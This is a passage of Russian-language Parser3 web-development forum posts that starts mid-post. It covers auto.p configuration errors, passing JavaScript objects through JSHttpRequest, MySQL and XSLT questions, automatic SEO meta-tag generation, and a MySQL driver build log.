if (req.readyState == 4) {\
	f (req.responseJS) {\
		document.getElementById(\"page\").innerHTML =req.responseJS.q;	\
	}\
}[/code]\
я так понимаю, нужно добавить что-то вроде req.responseJS.с(); ??? (с - ваша переменная)"
"56279","При запуске тестовой страницы выходит следующее:\
Unhandled Exception\
\
change_case_UTF8 error: end pointers do not match\
\
upper\
\
\
C:/Inetpub/semey/_test.html(133)\
\
Я так понял, что он не смог преобразовать кодировку. Эту строчку я в комментарии, затем то же самое и с 134 строкой. Только после этого запускается тестовая страница, где она не показывает CHATSETS и SQL-drivers. В auto[filespec] исходника тестера  я вставляю ^throw[;check auto.p execution]. Он мне показывает следующее:\
\
Unhandled Exception\
check auto.p execution\
\
C:/Inetpub/semey/_test.html(621)\
throw C:/Inetpub/semey/_test.html(621)\
\
Что теперь делать?"
"56280","в конфигурационном auto.p они определяются так:\
[code]@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
...[/code]\
\
это означает что файлы с кодировками будут искаться в подкаталоге charset каталога, где лежит этот auto.p, а sql драйвера в каталоге lib. однако я не знаю как это работает с isapi, попробуйте прописать эти пути явно:\
[code]\
$charsetsdir[c:/path/to/your/dir/with/charsets]\
$sqldriversdir[c:/path/to/your/dir/with/sql/lib]\
[/code]\
\
хотя странно все это. если бы пути были заданы, но файлов бы там не было, то парсер ругался бы иначе (для проверки попробуйте явно указать путь, но указать его туда, где [b]нет[/b] файлов с кодировками - должны увидеть ругань, приведите её)\
\
возможно вы ломаете _test.html при редактировании, попробуйте взять английскую версию и посмотреть ей.\
\
кроме того убедитесь что в document_root у вас нет никакого auto.p (временно переименуйте его если он есть).\
\
ещё странность, вы упоминаете:\
[quote]В auto[filespec] исходника тестера я вставляю[/quote]\
однако в конфигурационном файле должно быть '@conf[filespec]' а не 'auto[filespec]'."
"56281","если раньше вы передавали все вперемешку, то теперь сможете передавать объект - совокупность данных и методов для работы с ними ;)\
\
к примеру, серверная часть может выглядеть так:\
[code]\
$hParserVariable[\
	$.q[\
		<div class=\"page_title\">Управление сайтами.</div>\
		<textarea id=\"xml_domens_group\" style=\"display:none\">\
			текст...\
		</textarea>\
		<a href=\"#\" id=\"view\">посмотреть</a> \
	]\
	$.init[\
		$._default[function(){\
				document.getElementById(\"page\").innerHTML = this.q^;\
				document.getElementById(\"view\").onclick = this.zzz^;\
			   }\
		]\
	]\
	$.zzz[\
		$._default[function(){\
				alert(document.getElementById('xml_domens_group').innerHTML)^;\
		           }\
		]\
	]\
]\
[/code]\
то есть мы передаем обьект, у которого есть поле q, набитое данными, и два метода для работы с этими данными.\
Клиентская часть выглядит примерно так:\
[code]\
if (req.readyState == 4) {\
	if (req.responseJS) {\
		var obj = req.responseJS;\
		obj.init();	\
	}\
}\
[/code]\
\
при инициализации (obj.init()) полученный текст вставляется в контейнер а на ссылку вешается обработчик zzz()."
"56282","[color=\"#ff0000\"] \
Не определен хеш с кодовыми таблицами ($CHARSETS). \
Возможно у вас не обрабатывается конфигурационный auto.p (тот что по умолчанию должен находится рядом с исполняемым файлом). \
Чтобы убедиться в том, что он обрабатывается, добавьте инструкцию ^throw[;check auto.p execution] в его метод @auto[] и перезагрузите страницу. Появление ошибки после её перезагрузки будет свидетельствовать о том, что он обрабатыватся. \
$SQL:\
Не определена таблица с драйверами ($SQL.drivers) \
Возможно у вас не обрабатывается конфигурационный auto.p \
\
DOCUMENT_ROOT: не определен\
[/color]\
\
Прописывал полный путь для дров и кодировок - все по-прежнему.\
\
А на счет @auto[filespec] - так это в исходнике _test.html, там я и вставил ^throw[;check auto.p execution]. Или надо было в auto.p/@auto[]?"
"56284","И правда.\
\
mysql> select max(id) as mx from tab1 where id='-10';\
+------+\
| mx   |\
+------+\
| NULL |\
+------+\
1 row in set, 1 warning (0.00 sec)\
\
mysql> select max(id) as mx from tab1 where id='-10' group by id;\
Empty set (0.06 sec)\
\
Значит, дело в MySQL, но таблица пуста и можно было бы возвращать NULL.\
\
Спасибо за ответ!"
"56285","к сожалению, не работает :(\
[code]\
$.init[$._default[function(){\
						alert(\"init\")^;\
						document.getElementById(\"page\").innerHTML = this.q^;\
						document.getElementById(\"view\").onclick = this.zzz^;\
	   					}\
					 ]\
		  ]\
[/code] Даже алерта не выдаёт... :(\
\
\
это на всекий пожарный  показываю...\
[code]@_object2js[uVar]\
$result[]\
^if(!(\
	($uVar is \"bool\" && ($uVar && ^self._return[true] || ^self._return[false]))\
	|| (!def $uVar && ^self._return[null])\
	|| ($uVar is \"string\" && ^self._return[^_string2js[$uVar]])\
	|| ($uVar is \"int\" && ^self._return[$uVar])\
	|| ($uVar is \"double\" && ^self._return[$uVar])\
	|| ($uVar is \"table\" && (($uVar && ^self._return[^self._table2js[$uVar]]) || ^self._return[null]))\
	|| ($uVar is \"hash\" && \
		      (\
		            ($uVar && ^self._return[^self._hash2js[$uVar]])\
		         || (def $uVar._default && ^self._return[$uVar._default])\
		         || ^self._return[null]\
		      )\
		)\
	|| ($uVar is \"date\" && ^self._return[new Date(^uVar.unix-timestamp[]000)])\
)){\
	^self._return[null]\
}\
[/code]\
\
вот выдача:\
Subsys_JsHttpRequest_Js.dataReady( '', 'Отладочное сообщение', { 'js': null , 'init': null , 'q':............."
"56286","вот так должно работать...\
[code]\
@_object2js[uVar]\
$result[]\
^if(!(\
	($uVar is \"bool\" && ($uVar && ^self._return[true] || ^self._return[false]))\
	|| ($uVar is \"hash\" && \
		      (\
		            ($uVar && ^self._return[^self._hash2js[$uVar]])\
		         || (def $uVar._default && ^self._return[$uVar._default])\
		         || ^self._return[null]\
		      )\
		)\
	|| (!def $uVar && ^self._return[null])\
	|| ($uVar is \"string\" && ^self._return[^_string2js[$uVar]])\
	|| ($uVar is \"int\" && ^self._return[$uVar])\
	|| ($uVar is \"double\" && ^self._return[$uVar])\
	|| ($uVar is \"table\" && (($uVar && ^self._return[^self._table2js[$uVar]]) || ^self._return[null]))\
	|| ($uVar is \"date\" && ^self._return[new Date(^uVar.unix-timestamp[]000)])\
)){\
	^self._return[null]\
}\
[/code]"
"56287","на данный момент диагноз: конфигурационный auto.p у вас [b]не[/b] обрабатывается."
"56288","Ну поставьте на деве или на виртуальной машине нужную фрибсд и соберите. Антон должен это уметь, он уже собирал как-то."
"56289","Думаю, функции подгрузки javaScript-ов понадобятся не только мне, поэтому делаю сводку изменений:\
\
[code]\
# заменить метод @_object2js[uVar] в файле JSHttpRequest.p на\
@_object2js[uVar]\
$result[]\
^if(!(\
	($uVar is \"bool\" && ($uVar && ^self._return[true] || ^self._return[false]))\
	|| ($uVar is \"hash\" && (($uVar && ^self._return[^self._hash2js[$uVar]]) || (def $uVar._default && ^self._return[$uVar._default]) || ^self._return[nullr]))\
	|| (!def $uVar && ^self._return[null])\
	|| ($uVar is \"string\" && ^self._return[^_string2js[$uVar]])\
	|| ($uVar is \"int\" && ^self._return[$uVar])\
	|| ($uVar is \"double\" && ^self._return[$uVar])\
	|| ($uVar is \"table\" && (($uVar && ^self._return[^self._table2js[$uVar]]) || ^self._return[null]))\
	|| ($uVar is \"date\" && ^self._return[new Date(^uVar.unix-timestamp[]000)])\
)){\
	^self._return[null]\
}\
#end @_object2js[]\
\
# в методе @_getDecodeTable[] после строки\
# %u042F	Я\
# добавить строки:\
%0D%0A	^taint[^#0A]\
%0D	^taint[^#0A]\
%0A	^taint[^#0A]\
%09	^taint[^#09]\
# это нужно для корректной обработки переводов строки и табуляций\
[/code]\
\
Для отправки JavaScript-a\
[code]\
// Клиентская часть выглядит примерно так:\
if (req.readyState == 4) {\
	if (req.responseJS) {\
		var obj = req.responseJS;\
		obj.init();\
	}\
}\
\
# Серверная часть выглядит примерно так:\
$hParserVariable[\
	$.q[\
		<textarea id=\"your_id\" style=\"display:none\">\
			текст...\
		</textarea>\
		<a href=\"#\" id=\"view\">посмотреть</a> \
	]\
	$.init[\
		$._default[function(){\
					document.getElementById(\"page\").innerHTML = this.q^;\
					document.getElementById(\"view\").onclick = this.zzz^;\
				}\
		]\
	]\
	$.zzz[\
		$._default[function(){\
					alert(document.getElementById('your_id').innerHTML)^;\
           			}\
		]\
	]\
]\
# потом благодарим Sergey M.[/code]"
"56290","Видимо я совсем туплю, что-то не получается...\
[code]$.init[$._default[function(){\
			document.getElementById(\"page\").innerHTML = this.q^;\
			var domens = new Tree(\"domens_group\")^;\
                  ...\
              }\
]]\
$.q[...\
   <a href=\"javascript:domens.expandAll()^;void(0)^;\">Expand All</a>\
...][/code]\
Мне при клике на Expand All нужно запустить функцию expandAll() объекта domens. Но не получается... так к ней путь задавать теперь надо, и какой получается?\
Видимо, это последний вопрос... :)"
"56291","[code]$.init[$._default[function(){\
document.getElementById(\"page\").innerHTML = this.q^;\
var domens = new Tree(\"domens_group\")^;\
obj.domens=domens^;\
                  ...\
              }\
]]\
$.q[...\
   <a href=\"javascript:obj.domens.expandAll()^;void(0)^;\">Expand All</a>\
...][/code]"
"56293","т.к. в первую очередь \"проблема\" с одинаковыми названиями столбцов проявится в случае SELECT t1.*, t2.* FROM t1, t2 WHERE ...\
\
[quot]\
И каждый раз в запросе писать алиасы ?\
[/quot]\
\
если они нужны - ДА! и всегда писать названия столбцов и таблиц (в случае join-ов)."
"56294","правда я бы все таки сделал немного иначе — загружал бы \"класс\" из статического файла (библиотека позволяет, главное чтобы формат данных совпадал), и, при создании объекта класса на клиенте (init()), подгружал бы сами данные вторым запросом.\
\
Пару слов о примерах. Костыль с $._default[] предложен как универсальное средство, он как бы говорит сериализатору — \"передай эти данные как есть, без какой либо обработки\". А передать можно все что угодно — функцию, [url=\"http://www.parser.ru/forum/?id=51371\"]упорядоченный массив[/url], хитрый объект, все что не получается передать стандартными средствами класса. Однако есть один неприятный момент — шаг влево, шаг вправо, лишняя запятая, незакрытая скобка — и может поломаться весь вывод, следовательно испльзовать эту фичу следует крайне осторожно.\
\
\
Касаемо клиентской стороны — здесь все было сильно упрощено и заточено под ваш конкретный случай, в общем случае стоит делать все немного иначе, да вы уже и сами видите что при малейшем усложнении задачи [url=\"http://www.parser.ru/forum/?id=56290\"]появились проблемы[/url]. Главный момент здесь таков — в req.responseJS вам приходит объект (ну или хеш, называйте как хотите, в javascript эти понятия по сути означают одно и то же). Что делать с этим объектом дальше — зависит полностью от вас и ваших намерений. Как говорится в инструкции к JSHttpRequest.p, \"... а писать frontend вам всё равно придется самому.\""
"56295","Не открывается файл auto.p через апач. Пишет, что не хватает прав. Код выполняется только если прописан в html страницах. Если подключать через use этот файл в html файле, то выводит чмстый лист. В чём загвоздка?"
"56296","auto.p и не должен открываться браузером («через апач»). И запрет на его открытие как раз настраивается при установке парсера."
"56297","[url=\"http://bugs.mysql.com/bug.php?id=12882\"]min/max inconsistent on empty table[/url]\
\
Пофикшено в 4.1.15."
"56299","Для сведения.\
Ниже ответ службы поддержки.\
\
> /libexec/ld-elf.so.1: /usr/local/lib/libsablot.so.70: Undefined symbol\
\\\"JS_PropertyStub\\\"\
> [Sat Oct 14 00:18:56 2006] [error] [client 89.208.19.7] Premature end of\
script headers: /home/.../www/cgi-bin/parser3.cgi\
> Что случилось?\
\
По пока не выясненной причине parser откразывается работать, если\
библиотека Sablotron собрана с поддержкой JavaScript.\
В данный момент, проблема устранена. Приносим свои извинения за\
доставленные неудобства."
"56300","Хочу заметить,что в первом уроке не сказано, что auto.p нужно подключить в файле index.html с помощью use. Предлага добавить это в текст вышеуказанного урока=)"
"56301","Пожалуйста, выполните первый урок."
"56302","... хочу заметить, что файл auto.p должен автоматически обрабатываться Парсером (см. http://www.parser.ru/docs/lang/?lesson5.htm). :-)"
"56303","озникли проблемы с оператором use. Пишет ошибку not found along main:class_path. Если указать занчение для пер-й $class_path в разделе conf, то пишет, что настройки уже сделаны. Как избавиться от этого?"
"56304","И так.\
\
Есть вот такой кусочек. \
\
[code]\
<xsl:template match=\"/\">    \
  \
 	 <xsl:for-each select=\"//clips\"> \
  		<tr style=\"padding: 3px;\">\
      <td valign=\"top\" align=\"right\">\
  			<xsl:apply-templates select=\"artist\"/>\
  		</td>\
  		<td width=\"5\"></td>\
      <td align=\"left\" valign=\"top\">\
  			<a href=/track.html?id={@id}' class=\"a1\">\
        <xsl:apply-templates select=\"clipsname\"/>\
        </a>\
  		</td>\
  		</tr>\
  	</xsl:for-each> \
\
</xsl:template>\
  \
  <xsl:template match=\"artist\"> \
    <a href=/artist.html?id={@id}' class=\"a1\"><xsl:value-of select=\".\"/></a>\
  </xsl:template>  \
[/code]\
\
Как видно из кода это перебор всех <clips></clips> и печать этого дела.\
\
Дак вот. Есть задача печатать только первые 15 символов названия (clipsname) клипа.\
\
Замена\
\
[code]<xsl:apply-templates select=\"clipsname\"/>[/code]\
\
на\
\
[code]<xsl:value-of select=\"substring(//clipsname,1,15)\"/>[/code]\
\
Приводит к тому, что на экран выводяться как и задумывалось первые 15 символов, но! во всех строчках значение clipsname из  первого <clips></clips>. Что делать?"
"56306","http://www.parser.ru/docs/lang/app1pathclass.htm\
Можете прописать в корневом auto.p, либо (эффективнее) в конфигурационном auto.p\
\
Про корневой auto.p\
На него распростаняется $CLASS_PATH, который написан в конфигурационном файле. Поэтому если ты в корневой запишешь $CLASS_PATH, и в нём же сделаешь @USE, то сначала попытаются подгрузится модули, а только потом изменится $CLASS_PATH. Для этого и нужно $CLASS_PATH прописывать в конфигурационном файле. А я делаю так, что корневой auto.p - это у меня просто конфиг для текущего сайта. Подключение (@USE) модулей там нет, а вот $CLASS_PATH прописан, а дальше подключаются модули в других файлах."
"56307","Содержание файла [i]auto.p[/i]\
[code]@main[]\
^q[][/code]\
\
[i]test.html:[/i]\
[code]@q[]\
Your are wellcome\
^main[][/code]\
\
Выдает следующие:\
main\
call canceled - endless recursion detected\
z:/home/nis/www/test.html(4:2) q	z:/home/nis/www/auto.p(2:2)\
main	z:/home/nis/www/test.html(4:2)\
q	z:/home/nis/www/auto.p(2:2)\
main	z:/home/nis/www/test.html(4:2)\
q	z:/home/nis/www/auto.p(2:2)\
main	z:/home/nis/www/test.html(4:2)\
q	z:/home/nis/www/auto.p(2:2)\
...\
\
При этом до этого оно нормально работало на тех примерах, которые приведены в документаци.. потом начало вредничать.. (исправлял я это путем закоментирования строк).. а потом и вовсе перестало работать...\
\
Как на меня обработчик кода слишком привередлив.. или в документации следует более детально описать как нужно описывать переменные (функции)..\
\
С уважением, \
Евгений"
"56308","рекурсия замкнулась, обработчик прервал скрипт, ы собссно что хотите такой конструкцией добиться?"
"56309","может кто подскажет как сделать выборку\
дано\
[code]\
<alist>\
<point id=\"1\">a</point>\
<point id=\"3\">b</point>\
<point id=\"4\">c</point>\
<point id=\"7\">d</point>\
</alist>\
<blist>\
<point id=\"1\">a</point>\
<point id=\"2\">m</point>\
<point id=\"3\">b</point>\
<point id=\"4\">c</point>\
<point id=\"5\">c</point>\
<point id=\"6\">c</point>\
<point id=\"7\">d</point>\
</blist>\
[/code]\
\
надо вывести blist так чтобы в нем не было значений с таким же ID какие есть в alist, то есть результат должен быть:\
\
[code]\
<blist>\
<point id=\"2\">m</point>\
<point id=\"5\">c</point>\
<point id=\"6\">c</point>\
</blist>\
[/code]"
"56310","Parser: 3.2.1 (compiled on i386-pc-win32)\
Пишу такой код:\
\
[code]@main[]\
$i(100)\
^test1[$i]\
^test2[$i]\
\
@test1[j]\
^if($j is double || $j is int){\
	Int, double\
}{\
	^if($j is string){string}\
}\
\
@test2[k]\
$result[^k.inc(1)]\
[/code]\
\
Первый метод возвращает string, второй соответственно вообще ошибку - 'inc string method not found'\
\
В чем дело, почему при передаче int-параметра методу он приводится к string? Остальные классы (table, hash e.t.c.) работают правильно"
"56312","написав ^test1[$i] вы говрите парсеру: я хочу вызвать метод test1 и передать ему _строку_, которую сформируй из числа, которое лежит в $i.\
\
зовите так: ^test1($i) - и будет внутри int\
\
квадрытные скобки используются для строк и сложных объектов (таблица, хеш, дата, пользовательский объект). если парсер не обнаружил сложный объект, то передается строка."
"56313","скажите пожалуйста расположение конфиг файла. относительно первого урока этон не файл, где находятся адреса гиперссылок? (с разрешением cfg)"
"56315","Тем, кому тоже сел на шею SEO-специалист, могут понадобиться следующие методы для автоформирования keywords и description:\
\
[code]\
@getMetaKeywords[sText][tKeyword;hKeyword;tKey]\
$sText[^sText.lower[]]\
# удаляем тэги\
$sText[^sText.match[<.*?>|&.*?^;][g]{ }]\
# выбираем все слова\
$tKeyword[^sText.match[([\\w\\-]+)][g]]\
# удаляем слова короче 3-х букв\
$tKeyword[^tKeyword.select(^tKeyword.1.length[] > 3)]\
# сортируем по длине\
^tKeyword.sort(^tKeyword.1.length[])\
# собираем уникальные корни слов\
$hKeyword[^tKeyword.hash{^tKeyword.1.left(5)}[$.distinct[tables]]]\
$tKey[^hKeyword._keys[]]\
# сортируем слова по частоте\
^tKey.sort($hKeyword.[$tKey.key])[desc]\
# отбираем первые 20 слов\
$tKey[^table::create[$tKey;$.limit(20)]]\
# перечисляем через пробел\
$result[^tKey.menu{$hKeyword.[$tKey.key].1}[ ]]\
\
@getMetaDescription[sText][tMatch]\
# удаляем тэги\
$sText[^sText.match[<.*?>|&.*?^;][g]{ }]\
# берём кусок не длиннее 200 знаков\
$tMatch[^sText.match[^^(.{1,200}[\\.\\?!])]]\
$result[$tMatch.1]\
[/code]"
"56316","Вот только непонятно, почему для Int сделано такое странное исключение."
"56317","а так же:\
[code]\
$i(1)\
$j(2)\
$str[$i+$j]\
$num($i+$j)\
[/code]"
"56319","Вообще, желательно для каждой страницы отдельно писать title, keywords и description. Тогда Вы сможете всё контролировать. Минус в том, что на больших сайтах, вносить изменения сложно и долго. Но я, допустим, делаю немного по-другому. Во всех сайтах есть разделы. В каждом разделе есть свои метатеги и тайтлы. Когда заводите новую страницу, обязательно создаётся её название, title и мететеги. В которых есть обозначение {child}. Которое означает, что если у данной страницы есть потомки, то их метатеги вставлять вместо {child}.\
\
Таким образом, при раскрутке должна сильнее раскручиваться \"узловая\" страница. Т.е. допустим если это новости, то должна раскручиваться страница со списком новостей, а не отдельна каждая новость.\
\
Так же Важно к тегу А добавлять title - это тоже ключевые слова, по которым Вы раскручиваете страницу, на которую указывает ссылка.\
\
На самом деле, у каждого SEO-специалиста свои просьбы на изменение тегов и т.д. Конечно, ключевые моменты они всегда одинаковы.\
\
PS: наши сайты раскручиваются разными фирмами, поэтому могу судить. Фирмы: Ашманов, Трилан, Вебэксперт, Кокос + сами раскручиваем часть сайтов.\
\
PPS: Методы хорошие, но только на тот случай, если Вы на сайтах совершенно не ставите метатегов. Всё равно лучше вручную это делать."
"56320","По мотивам [url=\"http://xpoint.ru/forums/internet/marketing/thread/23406.xhtml\"]статьи на xPoint.ru[/url]?\
\
А вот с автоматическим описанием такой подход мне кажется очень сильным промахом. Привидите пример, где первое предложение точно описывает всю страницу?"
"56321","В вышеупомянутой статье говориться о том, что человек, который будет наполнять сайт обычно не умеет верно составлять ключевые слова, он не SEO-специалист. Поэтому после ввода материала, можно автоматом определять ключевые слова и выводить их на корректуру (а не на создание). Этот вариант мне кажется верным :)"
"56322","Вроде он лежит там же, где и должен - рядом с parser3isapi.dll.\
И еще вопрос: в документации говорится о каком-то auto.p.dist - это просто пример или его реальное имя таким и должно быть?"
"56323","В моём текущем проекте 8000+ публикаций, прикручивать к каждой клюечевые слова вручную как-то не хочется... По поводу {child}: насколько мне известно, SEO-специалисты [url=http://seotext.ru/rules.html]рекомендуют[/url] включать в keywords [i]только[/i] слова, находящиеся на странице. Остальные слова пауками игнорируются."
"56324","Согласен. Просто в моём проекте в качестве публикаций чаще всего  выступают статьи, в которых первый абзац является вводным (lead), а также дневники и отрывки из книг, для которых придумывать description несколько проблематично."
"56325","Еще там советуют брать ~20 слов из [b]середины[/b] списка, не знаю почему так, но мне кажется люди знающие :)"
"56327","MySQL 5.0.22."
"56328","Согласен, если на выбор, тогда да... это удобнее и лучше..."
"56329","Да, вроде так и учитывается... но скажем так, левые слова туда не напишешь... а вот на страницах потомках, чаще всего всё-таки эти слова встечаются..."
"56330","В когфигурационном auto.p прописано:\
$CLASS_PATH[^table::create{path\
/classes/standard\
/classes/standard/sql\
/classes/standard/auth\
/classes\
}]\
Создаю покаталог classes в папке lesson 5. Там находятся index.html и соответствующий ему auto.p. Всё равно пишет, что\
not found along main:class_path. auto.p - конфиг файл самого парсера. Я не создавал свой собственный в cgi-bin. help"
"56331","Если увеличение того, что просит, не помогает, :) попробовать собрать конкретно этот .o руками, убрав -O2 (то есть запустив ровно эту команду без -O2). Обычно все проблемы у компиряторов при выключении оптимизации заканчиваются."
"56333","Собрал на хостинге Парсер из исходников. Все работает. Кроме MySQL. БД установлена и работает, проверял на phpMyAdmin. А вот Парсер не хочет. Тестовый скрипт парсера выдает селдующее:\
\
[code]$sqldriversdir/libparser3mysql.so: cannot open shared object file: No such file or directory[/code]\
\
Драйвер скачан с сайта, под Linux. На хостинге Линакс, но другой версии - Парсер, данный в разделе скачивания там не работал. Теперь, как я понимаю, нужно и драйвер на ОС хостинга собирать, или как? \
\
Поиск по форуму решения на дал."
"56338","При попытке сгенерить новый пароль выскакивает ошибка.\
\
Код такой:\
\
[code]$new_passwd[^auth::setTemporaryPasswd[$form:email;$form:name]]\
\
$new_passwd[/code]\
\
Куда копать?"
"56340","с одним двоеточием та же фигня"
"56341","[code]^dtf:to822[^dtf:from822[Mon, 16 Oct 2006 13:30:34 GMT]]<br />\
^dtf:to822[^dtf:from822[Mon, 16 Oct 2006 13:30:34 GMT]]<br />\
$env:PARSER_VERSION[/code]\
\
выдаёт:\
\
[code]Mon, 16 Oct 2006 10:30:34 GMT\
Mon, 16 Oct 2006 13:30:34 GMT\
3.2.1sp2 (compiled on i386-unknown-freebsd4.10)[/code]\
\
Может быть, Миша ещё не [url=http://www.parser.ru/forum/?id=55176]обновил[/url] dtf.p?"
"56343","ругается он на ^use[../classes/gbook.p]=)"
"56344","- как вы думаете парсер понимает буквы '../classes/'?\
- как он их действительно понимает согласно документации?\
- приведите структуру ваших каталогов с html и классами"
"56345","Я взял его в примерах. Однако такого файла там не было. К сожалению."
"56346","у меня файлик есть, в примеры залил новый архив. изменений в классе нет."
"56347","я этими методами не пользуюсь, поэтому сделанный новый вариант dtf.p пока серьезно не тестировался и соответственно не выкладывается.\
\
если интересно - могу выложить, но юзать на свой страх и риск :)"
"56348","Я просто выполняю урок 5. Даже сделав всё изложенное в данном уроке, происходит данная ошибка. Т. к. я знаком с парсером около суток, то с данной проблемой я справиться не могу; даже сделав урок в различных вариациях."
"56350","+ вы не отвечаете на вопросы, которые вам задают, пытаясь помочь => помочь не представляется возможным."
"56351","1.- как вы думаете парсер понимает буквы '../classes/'?\
-Думаю да.\
2. - как он их действительно понимает согласно документации?\
Возможно он их воспринимает как строковые литералы\
3.  приведите структуру ваших каталогов с html и классами\
Идентична той, которая использеутся в уроке 5 кроме корневой папки(используется в уроке gbook, я использую lesson5)\
\
При подключении модуля с классом я использовал обе конструкции подключения (которая в уроке и вышеупомянутую).Результат  - ошибка."
"56352","Результаты сборки мускуль-драйвера для Парсера на хостинге из исходников:\
\
[quote]Данные исходники дают уже другую ошибку, ту же, что и у Вас была:\
configure: error:  does not seem to be valid MySQL includes directory\
\
В качестве инклуд директории указывалась /usr/local/lib/mysql\
\
1. Какие конкретно файлы библиотек нужны для данного парсера?\
2. Он вообще под 64 битную платформу рассчитан?[/quote]\
\
Вопрос больше к разработчикам. Жду ответов, т.к. сайт стоит уже 2-ой день. Админы на хостинге уже кроют меня благим матом. Исходники скачаны из раздела скачать."
"56354","Здравсвуйте форумчане ))\
помогите начать программировать на Парсере.\
\
вот я скачал Денвер с Парсером, установил, тест пройден...\
Парсер работает.\
создал там домен...\
попробовал выполнить первое задание, то есть меню навигации...\
\
никак (((\
\
попробовал примеры, скачанные с сайта... антифлуд и антиспам, работают, но пишет, Unknown metod - это он ругается, что методом post в html передает инфу....видимо...\
\
как? что? делать.... \
\
помогите, дайте кто-нибудь пожалуйста один готовый простенький пример..... мне б только начать, а остальное домыслю ))\
можно ответить сюда, можно прислать простенький пример на  temp001z@noparanoia.ru\
\
заранее спасибо..."
"56355","при такой конфигурации Tidy заменяет сущности &nbsp; и &#160; на соответствующие символы,\
нет ли способа заставить его не заменять сущности и при этом понимать windows-1251?"
"56356","у меня на хостинге такая. Нужно собрать MySQL драйвер для Парсера на этой ОС. Версия мускуля mysql-standard-4.1.21-pc-linux-gnu-i686. Все попытки собрать драйвер на хостинге не увенчались успехом, хотя сам Парсер собрался на ура. Уже не знаю что делать. Деньги за хост заплачены немалые."
"56357","открываете доку по парсеру, и с самого начала перечитываете. Если что непонятно - читаете, пока не станет понятно. После уроков, данных в доке и нормальным IQ можно писать сайты без проблем."
"56358","У большинства поисковых систем есть свои способы автоматического формирования описания на тот случай, если автор странички не озаботился заполнением тега description. Если не хотите это делать ручками, то можно вообще этого не делать. А тег keywords на сегодняшний день практически не оказывает влияния на ранжирование.\
Вот title формировать придётся. Но дёргать первое предложение - далеко не оптимальный вариант.\
Можно делать так: вытаскивать название данной странички и разделов, которые для неё являются родительскими. Из этого добра собирать title (примерно так это делается на форуме)."
"56359","Можно ли в hashfile хранить в качестве значений не строки, а другие типы (table, hash и т.д.), как в hash?\
\
Если есть способ считать hashfile в hash, то есть ли способ наоборот - засунуть hash в hashfile?"
"56360","то есть как создаете файлы, что пишете в коде, какие ошибки, какой результат, телепатические способности осенью падают к сожалению ("
"56361","Да вот самый первый даже пример и не получился.....\
код парсера нужно в html-файл вставлять ?\
какие-то хтмл-теги обязательны?\
начало кода как описать @main ??? или что-то типа того?\
или это не обязательно?"
"56362","не Денвер, а \"Швейцарский ножик\" из раздела \"Скачать\" - тем есть работающий пример \"1 урока\".\
\
Он решит вашу проблему \"с чего начать\". Правда, на вопрос \"а как продолжить?\" не ответит - придётся самому ;)"
"56363","Попробую, спасибо...."
"56364","1. нельзя. но вы можете написать \"сериализацию/десериализацию\" для простых типов (для затравки можете глянуть на cachepage.p/@_pack_item[], я там сериализцю то, что может быть в заголовках, но наверное надо вынести это в отдельный класс).\
\
2. ^hash.foreach[sKey;sValue]{$hashfile.[$sKey][$sValue]}. прокатит только для хеша строк. только зачем это? hashfile задумывался [b]не[/b] как способ хранить хеш на сервере."
"56365","а вот с продолжить уж разберусь )))\
все-таки кодер по образованию....\
может быть не получилось, потому что очень хотел спать и время было 4 утра ? ))))) и что-то важное упустил ?\
в общем спасибо"
"56366","Понятно, спасибо.\
Насколько я понял, способа хранить хеш на сервере не существует в принципе?"
"56367","я смотрю затираются вопиющие сообщения (\
\
лог конфигурации говорит :\
\
[code]This file contains any messages produced by compilers while\
running configure, to aid debugging if configure makes a mistake.\
\
It was created by configure, which was\
generated by GNU Autoconf 2.59.  Invocation command line was\
\
  $ ./configure --with-mysql-inc=/home/qha/include\
\
## --------- ##\
## Platform. ##\
## --------- ##\
\
hostname = reseller2.hostsila.com\
uname -m = x86_64\
uname -r = 2.6.9-42.0.2.ELsmp\
uname -s = Linux\
uname -v = #1 SMP Wed Aug 23 13:38:27 BST 2006\
\
/usr/bin/uname -p = unknown\
/bin/uname -X     = unknown\
\
/bin/arch              = x86_64\
/usr/bin/arch -k       = unknown\
/usr/convex/getsysinfo = unknown\
hostinfo               = unknown\
/bin/machine           = unknown\
/usr/bin/oslevel       = unknown\
/bin/universe          = unknown\
\
PATH: /usr/local/jdk/bin\
PATH: /usr/kerberos/bin\
PATH: /usr/local/bin\
PATH: /bin\
PATH: /usr/bin\
PATH: /usr/X11R6/bin\
PATH: /usr/local/bin\
PATH: /usr/X11R6/bin\
PATH: /home/qha/bin\
\
\
## ----------- ##\
## Core tests. ##\
## ----------- ##\
\
configure:1524: checking for a BSD-compatible install\
configure:1579: result: /usr/bin/install -c\
configure:1590: checking whether build environment is sane\
configure:1633: result: yes\
configure:1666: checking for gawk\
configure:1682: found /bin/gawk\
configure:1692: result: gawk\
configure:1702: checking whether make sets $(MAKE)\
configure:1722: result: yes\
configure:1943: checking for a BSD-compatible install\
configure:1998: result: /usr/bin/install -c\
configure:2009: checking whether make sets $(MAKE)\
configure:2029: result: yes\
configure:2042: checking for gawk\
configure:2068: result: gawk\
configure:2130: checking for g++\
configure:2146: found /usr/bin/g++\
configure:2156: result: g++\
configure:2172: checking for C++ compiler version\
configure:2175: g++ --version </dev/null >&5\
g++ (GCC) 3.4.6 20060404 (Red Hat 3.4.6-3)\
Copyright (C) 2006 Free Software Foundation, Inc.\
This is free software; see the source for copying conditions.  There is NO\
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\
\
configure:2178: $? = 0\
configure:2180: g++ -v </dev/null >&5\
Reading specs from /usr/lib/gcc/x86_64-redhat-linux/3.4.6/specs\
Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-java-awt=gtk --host=x86_64-redhat-linux\
Thread model: posix\
gcc version 3.4.6 20060404 (Red Hat 3.4.6-3)\
configure:2183: $? = 0\
configure:2185: g++ -V </dev/null >&5\
g++: `-V' option must have argument\
configure:2188: $? = 1\
configure:2211: checking for C++ compiler default output file name\
configure:2214: g++    conftest.cc  >&5\
configure:2217: $? = 0\
configure:2263: result: a.out\
configure:2268: checking whether the C++ compiler works\
configure:2274: ./a.out\
configure:2277: $? = 0\
configure:2294: result: yes\
configure:2301: checking whether we are cross compiling\
configure:2303: result: no\
configure:2306: checking for suffix of executables\
configure:2308: g++ -o conftest    conftest.cc  >&5\
configure:2311: $? = 0\
configure:2336: result: \
configure:2342: checking for suffix of object files\
configure:2363: g++ -c   conftest.cc >&5\
